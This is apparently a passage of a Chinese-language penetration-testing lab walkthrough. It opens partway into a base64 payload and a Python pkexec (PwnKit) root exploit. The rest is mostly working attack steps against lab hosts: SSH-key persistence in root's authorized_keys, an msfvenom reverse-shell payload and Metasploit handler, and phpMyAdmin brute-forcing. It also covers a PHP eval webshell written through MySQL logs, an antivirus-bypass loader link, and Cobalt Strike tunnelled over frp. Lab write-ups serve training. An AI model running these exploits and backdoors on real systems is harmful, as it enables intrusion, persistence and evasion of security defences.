k8qds7CFZ6Ou7zI9U47PL8j2NTxnU8MflbTkDTdmcMqp3h4X7kgQEBAQEBAQEBAQEBAQuJtR25HK1hrdhP5rebRVaWD2htqCoTsnBv0kUk3Jxhhxfuf584pl7aCcnrQsk/IByq9RPvmLZX1A+RTlEeL8Fssg7d9NpN6wVFMxJzQgOb9bL6LHIK0nzwKqwlurIo9Xl+8L9ZPNCzesXLPU/tmS6elrM5mkcWFPf5n/WXqMU3+7x8/qZP2ZoP2xf6PcUhV+JdBcWdZEG6ZmhB4n6PE1LW/1lv/bN1RAQEBAQEBAQEBAQOAuAeYzYv4i5hoOAFdgILyUVYIZgeTR+7EY8iFrwMZcw4UYD+WLuPLfp6wc40lIQsTcwhZIPsT3tQgkO2LO4GlgzE+NALs5kY0OYW4jXg++p2Ku4gLsT5nfHwv6+/ktMOYyYntTltP/MMRbYON9nAT7GlzPDbC9OZT/JzCPnUcMnm8jcAtwO3AeuD/s12F+KwLzWhHlnL2tuXlDdHlbRyFrFqLr5TVybFXdIwXbrDu4OibH1q5w3ITIRrdh6ma8g8jZnKnJyWxBzuu5vKabfR5XRyGVTqxKJYhtdceNbiIn+rJGX8ZhU3dKejTdSOWyPkOlZbqWjrNAOMunTSLbScfsVE7m4MTQOolsar3U7KLFNDqXiJtxImvdapcez2hqd0Kftpw61Liux/scBZ7TpuKZFK2MVu205tTTYRhE7sxlMlrWvMOHeRuweeHN7S22P8B9bpy9mNMX25eA4PeEsO0j1+hYRz3Ob+TlnI5vfyNcA+px/iOvgwnG5pHk0eO8bCbOWoB6XE+Qcf1ASJz9BHHmMupx/iLjuob9D3C8hzhrg7u9JOjnKJm5/4gk1I16XI+QcT3i7x9e/wtQ1oTlZX7G9ZDFLJhB/yLx7Zm4Zb8OrvMI/vn3cPpo2M95Lp7fFvQSpx8I+5lbhm7Rv8rpT4X93D6L/k1Oj/ujkCPcgOH78zanx+9L5Eounr9/74Hezc2P+pmff/z4PcPpi+3zKdb+x5x+T9TPZ7l4fvyyzKIqMv197O77kWeOD3H8JT2qPXr8/0PkDvXfEP8eCXcfF+iHPOuHV4fP8Qhxrh/1uB9jrBbqmaX9MU7vbqyLOaTMop/g9Pg92xLzVeOCH39XoC7U94O+P+ZvB8GPn9/Ax7eD+pVF9F4uIbfiQ9D/NUv7fwNC41U+"""
)
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t
wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
"module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
b"gconv",
b"PATH=GCONV_PATH=.",
b"LC_MESSAGES=en_US.UTF-8",
b"XAUTHORITY=../gconv",
b"",
]
cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
获得最高权限
权限维持
写入ssh公钥文件
mkdir /root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJCHaTk0i23Cs6vzzXU+Wi/3m91IzPr9q/h2STv6ynP9Nj0rfeKjiP/GO0OLF43ri1JsU2X1a5tyO6t+lYV0SfgO5QLeqvb6C4EJo71BW+RBi1Sinm27Y3ZpkfNlTTK5guDlJ7UEQa9I60pKRY33mdW3yawo11qLsxuUOrSREiRVnvDk4V1S6C3tM8MlBphEonSZiVmwMAn22e/deJ77JAoCdUJPr0Id3giZLy9kWfX2Q3iFGK4VIvyTtMiNGcJ0ZfRsRkcVLnU8YGvf4gbY8W9ltNrBK7AiraVzEEXQhOBruWMY8BYc1QwumfyDzrPKZNV8+udbXk5DUZDYQDIVsF3xjwE7PdlX3yzFFMdXWF37dUdW1+KIJXPJu9kHcWrRrkdW1N3j0CI7FTptVISWaabdNU90tML6NKrtTeXSsBuLTO0jeM+c3urPZAaI4MsEHVCmWB+fHjM8+MIWjea68A9vAJhbsyh2DRWGpmJYSsuWdpc1L4hg52Pp/cws7W8Ck= tian@tian >/root/.ssh/authorized_keys
内网信息收集
转移shell至msf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=6666 -f elf -o shell.elf
msf监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.56.105
set lport 6666
exploit
主机发现
use auxiliary/scanner/discovery/udp_sweep
set rhosts 10.0.20.100-200
run
发现内网主机10.0.20.129
上传frp进行代理转发,msf的socks是真难用,以ubuntu为服务端,攻击机为客户端。
端口扫描
proxychains4 nmap -p- -sC -sV -T4 -Pn 10.0.20.129
发现主机80,139,445,3306端口开放,80端口就一个hello world???
目录扫描
dirsearch -u http://10.0.20.129 --proxy socks5://127.0.0.1:1080 /usr/share/wordlists/fuzzDicts/directoryDicts/Filenames_or_Directories_All.txt -r -e txt,html,php
l.php是一个php探针,phpinfo.php显示出后天php信息,phpMyAdmin数据库管理登陆页面。
记过暴力破解获得密码:root
PhpMyAdmin写SHELL
登陆成功,通过日志写webshell
-
检查日志是否开启(某些情况下这一步最好记住原始日志文件路径,方便写入以后还原)
show variables like '%general%';
-
设置开启日志
set global general_log=on;
执行之后页面会自动刷新,再次查看日志状态会发现日志已开启。
-
修改日志路径和日志名称
set global general_log_file='C:/phpstudy/PHPTutorial/www/info.php';
-
写入一句话木马(就是查询后被记录到日志中)
SELECT '<?php $a = $_REQUEST['cmd'];$a = "$a";$b['test'] = "";eval($b['test']."$a");echo "error";?>'
虽然可能会因为符号转义问题报错,但是执行命令依旧会写入到日志中。
cs内网穿透
火绒免杀
tasklist /svc
这里使用的是乌鸦安全的加载器,过360和火绒还是挺好用的,注意加载器是32位的,所以,payload也应该选32位的
加载器下载地址
https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog
cs+frp内网穿透
在使用cobalt strike的场景中,很多时候会遇到内网机是Windows不出网,而外网机是Linux的,而且外网机只能获取到低权限来转发流量。如果此时想使用cobalt strike来横向的话,需要使用Linux机器作为跳板机来进行操作。
因此,我们可以使用frp来进行流量转发,基本原理是受害者windows木马访问frp服务器,从而转发至CS服务器达到上线目的。注意图中ubuntu地址有所变化,与之前有所不同。
ubuntu配置
frps.ini:
[common]
bind_port = 7000
启动frp服务器
./frps -c ./frps.ini
攻击机配置
启动CS,默认运行在50050端口。
./teamserver 192.168.56.105 12345
frpc.ini
[common]
server_addr = 192.168.56.138
server_port = 7000
[CS_Server_9050]
type = tcp
local_ip = 127.0.0.1
local_port = 50050
remote_port = 9050
[test_Beacon_9080]
type = tcp
local_ip = 127.0.0.1
local_port = 9080
remote_port = 9080
test_Beacon_9080
内容是因为我将CS监听端口设置为9080,因此我需要将9080端口进行转发。
启动frp客户端
./frpc -c ./frpc.ini
设置cs监听器
HTTP地址设置frp代理服务器地址,端口写转发的端口,这样shell连接至frp服务器后会自动转发至cs服务器。
HTTP地址(Stager)是分阶段shell的下载地址,现在完成后先上线至HTTP地址(Stager)再上线至HTTP地址。
本次shell生成中未使用分阶段payload,所以HTTP地址(Stager)设置没有任何作用,可以随意设置。
shell生成
生成raw原始shell.
重命名为crowsec.jpg,执行crowsec_shelllcodeBypass.exe,成功上线。
密码抓取,获得密码admin。
开启3389,proxifier全局代理直接连接即可。
- List item